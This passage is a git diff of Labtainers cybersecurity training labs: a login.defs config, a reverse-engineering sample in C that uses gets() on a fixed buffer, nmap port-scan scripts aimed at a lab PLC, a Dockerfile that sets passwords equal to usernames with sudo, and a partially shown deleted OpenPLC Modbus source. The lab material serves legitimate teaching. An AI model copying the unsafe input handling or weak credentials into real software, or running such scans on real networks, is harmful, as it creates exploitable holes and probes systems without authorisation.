specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/mk.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/mk.sh new file mode 100755 index 000000000..d89fb6023 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/mk.sh @@ -0,0 +1 @@ +gcc -m32 sample.c -o sample diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/sample.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/sample.c new file mode 100644 index 000000000..40a236150 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/sample.c @@ -0,0 +1,20 @@ +#include +int main(int argc, char * argv[]) +{ + char string[100]; + int c = 0, count[26] = {0}; + printf("Enter a string:\n"); + gets(string); + while ( string[c] != '\0' ) + { + if ( string[c] >= 'a' && string[c] <= 'z' ) + count[string[c]-'a']++; + c++; + } + for ( c = 0 ; c < 26 ; c++ ) + { + if ( count[c] != 0 ) + printf("%d %d.\n",c+'a',count[c]); + } + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/prestop new file mode 100755 index 000000000..5e4605e5d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/prestop @@ -0,0 +1,7 @@ +#!/bin/bash +nmap -Pn -p 22 plc +nmap -Pn -p 23 plc +nmap -Pn -p 80 plc +nmap -Pn -p 8080 plc +nmap -Pn -p 502 plc + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/prestop new file mode 100755 index 000000000..5e4605e5d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/prestop @@ -0,0 +1,7 @@ +#!/bin/bash +nmap -Pn -p 22 plc +nmap -Pn -p 23 plc +nmap -Pn -p 80 plc +nmap -Pn -p 8080 plc +nmap -Pn -p 502 plc + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/keywords.txt new file mode 100644 index 000000000..9f00d378d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/keywords.txt @@ -0,0 +1,5 @@ +ics +iptables +firewall +plc +operational technology diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config index 0bff222e2..5bf85e0dc 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config @@ -38,6 +38,7 @@ CONTAINER client1 CLIENT_NET 172.24.0.CLIENT1_IP X11 YES ADD-HOST plc:172.25.0.3 + ADD-HOST fonts.googleapis.com:127.0.0.1 TERMINAL_GROUP 1 CONTAINER client2 # user name of user who interacts with the container. @@ -45,6 +46,7 @@ CONTAINER client2 CLIENT_NET 172.24.0.CLIENT2_IP X11 YES ADD-HOST plc:172.25.0.3 + ADD-HOST fonts.googleapis.com:127.0.0.1 TERMINAL_GROUP 1 CONTAINER plc # user name of user who interacts with the container. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student index 03ba5d9c8..e633eb85e 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student @@ -9,31 +9,32 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.wireshark ARG lab ARG labdir ARG imagedir ARG user_name -ARG password -ARG apt_source - +# Need nodejs to start OpenPLC server ENV APT_SOURCE $apt_source RUN /usr/bin/apt-source.sh -RUN apt-get update && apt-get install -y --no-install-recommends telnetd RUN apt-get update && apt-get install -y --no-install-recommends \ - nodejs + git ADD $labdir/$imagedir/sys_tar/sys.tar / ADD $labdir/sys_$lab.tar.gz / - -# Need nodejs to start OpenPLC server - RUN useradd -ms /bin/bash $user_name -RUN echo "$user_name:$password" | chpasswd +RUN echo "$user_name:$user_name" | chpasswd RUN adduser $user_name sudo - -USER $user_name +USER $user_name ENV HOME /home/$user_name ADD $labdir/$lab.tar.gz $HOME + +WORKDIR /home/$user_name +RUN git clone https://github.com/mfthomps/OpenPLC_v3.git +WORKDIR /home/$user_name/OpenPLC_v3 +RUN sudo ./install.sh linux +RUN cp /var/tmp/openplc.db $HOME/OpenPLC_v3/webserver/ +RUN cp /var/tmp/mbconfig.cfg $HOME/OpenPLC_v3/webserver/ USER root CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile index 2f37d50a8..513e2fff7 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile @@ -1,5 +1,6 @@ iptables-ics.pdf: iptables-ics.tex header.tex pdflatex -jobname=iptables-ics iptables-ics + pdflatex -jobname=iptables-ics iptables-ics clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.pdf index b4788c27c..465cb26ed 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex index 56f581369..f04bab727 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex @@ -47,7 +47,7 @@ the wireshark-intro lab. \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh index 217008463..0f16dda6f 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh @@ -3,8 +3,9 @@ # Script will be run after parameterization has completed, e.g., # use this to compile source code that has been parameterized. # -sudo systemctl enable plc -sudo systemctl start plc +sudo systemctl enable openplc +cp /var/tmp/mbconfig.cfg $HOME/OpenPLC_v3/webserver +cp /var/tmp/openplc.db $HOME/OpenPLC_v3/webserver +sudo systemctl restart openplc sudo systemctl enable httpserver.service sudo systemctl start httpserver.service - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local index 5c8829bda..259fd8fcf 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local @@ -1,18 +1,2 @@ #!/bin/bash -# -# rc.local -# -# This script is executed at the end of each multiuser runlevel. -# Make sure that the script will "exit 0" on success or any other -# value on error. -# -# In order to enable or disable this script just change the execution -# bits. -# -# By default this script does nothing. - -# route to client route add -net 172.24.0.0/24 gw 172.25.0.4 - -exit 0 - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service deleted file mode 100644 index 5e63a3e25..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service +++ /dev/null @@ -1,13 +0,0 @@ -[Unit] -Description=PLC Service - -[Service] -Type=simple -ExecStart=/usr/bin/nodejs server.js -StandardOutput=/var/log/nodejs.log -StandardError=/var/log/nodejs.log -WorkingDirectory=/sbin/OpenPLC_v2x - -[Install] -WantedBy=multi-user.target -Alias=plc.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp deleted file mode 100644 index 33945e8e3..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp +++ /dev/null @@ -1,899 +0,0 @@ -//----------------------------------------------------------------------------- -// Copyright 2015 Thiago Alves -// -// Based on the LDmicro software by Jonathan Westhues -// This file is part of the OpenPLC Software Stack. -// -// OpenPLC is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// OpenPLC is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with OpenPLC. If not, see . -//------ -// -// This file has all the MODBUS/TCP functions supported by the OpenPLC. If any -// other function is to be added to the project, it must be added here -// Thiago Alves, Dec 2015 -//----------------------------------------------------------------------------- - -#include -#include -#include -#include - -#include "ladder.h" - -//Labtainer -#include - -#define MAX_DISCRETE_INPUT 800 -#define MAX_COILS 800 -#define MAX_HOLD_REGS 8192 -#define MAX_INP_REGS 1024 - -#define MIN_16B_RANGE 1024 -#define MAX_16B_RANGE 2047 -#define MIN_32B_RANGE 2048 -#define MAX_32B_RANGE 4095 -#define MIN_64B_RANGE 4096 -#define MAX_64B_RANGE 8191 - -#define MB_FC_NONE 0 -#define MB_FC_READ_COILS 1 -#define MB_FC_READ_INPUTS 2 -#define MB_FC_READ_HOLDING_REGISTERS 3 -#define MB_FC_READ_INPUT_REGISTERS 4 -#define MB_FC_WRITE_COIL 5 -#define MB_FC_WRITE_REGISTER 6 -#define MB_FC_WRITE_MULTIPLE_COILS 15 -#define MB_FC_WRITE_MULTIPLE_REGISTERS 16 -#define MB_FC_ERROR 255 - -#define ERR_NONE 0 -#define ERR_ILLEGAL_FUNCTION 1 -#define ERR_ILLEGAL_DATA_ADDRESS 2 -#define ERR_ILLEGAL_DATA_VALUE 3 -#define ERR_SLAVE_DEVICE_FAILURE 4 -#define ERR_SLAVE_DEVICE_BUSY 6 - - -#define bitRead(value, bit) (((value) >> (bit)) & 0x01) -#define bitSet(value, bit) ((value) |= (1UL << (bit))) -#define bitClear(value, bit) ((value) &= ~(1UL << (bit))) -#define bitWrite(value, bit, bitvalue) (bitvalue ? bitSet(value, bit) : bitClear(value, bit)) - -#define lowByte(w) ((unsigned char) ((w) & 0xff)) -#define highByte(w) ((unsigned char) ((w) >> 8)) - -IEC_BOOL mb_discrete_input[MAX_DISCRETE_INPUT]; -IEC_BOOL mb_coils[MAX_COILS]; -IEC_UINT mb_input_regs[MAX_INP_REGS]; -IEC_UINT mb_holding_regs[MAX_HOLD_REGS]; - -int MessageLength; - - - -//----------------------------------------------------------------------------- -// Concatenate two bytes into an int -//----------------------------------------------------------------------------- -int word(unsigned char byte1, unsigned char byte2) -{ - int returnValue; - returnValue = (int)(byte1 << 8) | (int)byte2; - - return returnValue; -} - -//----------------------------------------------------------------------------- -// This function sets the internal NULL OpenPLC buffers to point to valid -// positions on the Modbus buffer -//----------------------------------------------------------------------------- -void mapUnusedIO() -{ - pthread_mutex_lock(&bufferLock); - - for(int i = 0; i < MAX_DISCRETE_INPUT; i++) - { - if (bool_input[i/8][i%8] == NULL) bool_input[i/8][i%8] = &mb_discrete_input[i]; - } - - for(int i = 0; i < MAX_COILS; i++) - { - if (bool_output[i/8][i%8] == NULL) bool_output[i/8][i%8] = &mb_coils[i]; - } - - for (int i = 0; i < MAX_INP_REGS; i++) - { - if (int_input[i] == NULL) int_input[i] = &mb_input_regs[i]; - } - - for (int i = 0; i <= MAX_16B_RANGE; i++) - { - if (i < MIN_16B_RANGE) - if (int_output[i] == NULL) int_output[i] = &mb_holding_regs[i]; - - if (i >= MIN_16B_RANGE && i <= MAX_16B_RANGE) - if (int_memory[i - MIN_16B_RANGE] == NULL) int_memory[i] = &mb_holding_regs[i]; - } - - pthread_mutex_unlock(&bufferLock); -} - -//----------------------------------------------------------------------------- -// Response to a Modbus Error -//----------------------------------------------------------------------------- -void ModbusError(unsigned char *buffer, int mb_error) -{ - buffer[4] = 0; - buffer[5] = 3; - buffer[7] = buffer[7] | 0x80; //set the highest bit - buffer[8] = mb_error; - MessageLength = 9; -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Read Coils -//----------------------------------------------------------------------------- -void ReadCoils(unsigned char *buffer, int bufferSize) -{ - int Start, ByteDataLength, CoilDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8], buffer[9]); - CoilDataLength = word(buffer[10], buffer[11]); - ByteDataLength = CoilDataLength / 8; //calculating the size of the message in bytes - if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; - - //asked for too many coils - if (ByteDataLength > 255) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); - return; - } - - //preparing response - buffer[4] = highByte(ByteDataLength + 3); - buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one - buffer[8] = ByteDataLength; //Number of bytes of data - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < ByteDataLength ; i++) - { - for(int j = 0; j < 8; j++) - { - int position = Start + i * 8 + j; - if (position < MAX_COILS) - { - if (bool_output[position/8][position%8] != NULL) - { - bitWrite(buffer[9 + i], j, *bool_output[position/8][position%8]); - } - else - { - bitWrite(buffer[9 + i], j, 0); - } - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = ByteDataLength + 9; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Read Discrete Inputs -//----------------------------------------------------------------------------- -void ReadDiscreteInputs(unsigned char *buffer, int bufferSize) -{ - int Start, ByteDataLength, InputDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - InputDataLength = word(buffer[10],buffer[11]); - ByteDataLength = InputDataLength / 8; - if(ByteDataLength * 8 < InputDataLength) ByteDataLength++; - - //asked for too many inputs - if (ByteDataLength > 255) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); - return; - } - - //Preparing response - buffer[4] = highByte(ByteDataLength + 3); - buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one - buffer[8] = ByteDataLength; //Number of bytes of data - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < ByteDataLength ; i++) - { - for(int j = 0; j < 8; j++) - { - int position = Start + i * 8 + j; - if (position < MAX_DISCRETE_INPUT) - { - if (bool_input[position/8][position%8] != NULL) - { - bitWrite(buffer[9 + i], j, *bool_input[position/8][position%8]); - } - else - { - bitWrite(buffer[9 + i], j, 0); - } - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = ByteDataLength + 9; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Read Holding Registers -//----------------------------------------------------------------------------- -void ReadHoldingRegisters(unsigned char *buffer, int bufferSize) -{ - int Start, WordDataLength, ByteDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - WordDataLength = word(buffer[10],buffer[11]); - ByteDataLength = WordDataLength * 2; - - //asked for too many registers - if (ByteDataLength > 255) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); - return; - } - - //preparing response - buffer[4] = highByte(ByteDataLength + 3); - buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one - buffer[8] = ByteDataLength; //Number of bytes of data - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < WordDataLength; i++) - { - int position = Start + i; - if (position <= MIN_16B_RANGE) - { - if (int_output[position] != NULL) - { - buffer[ 9 + i 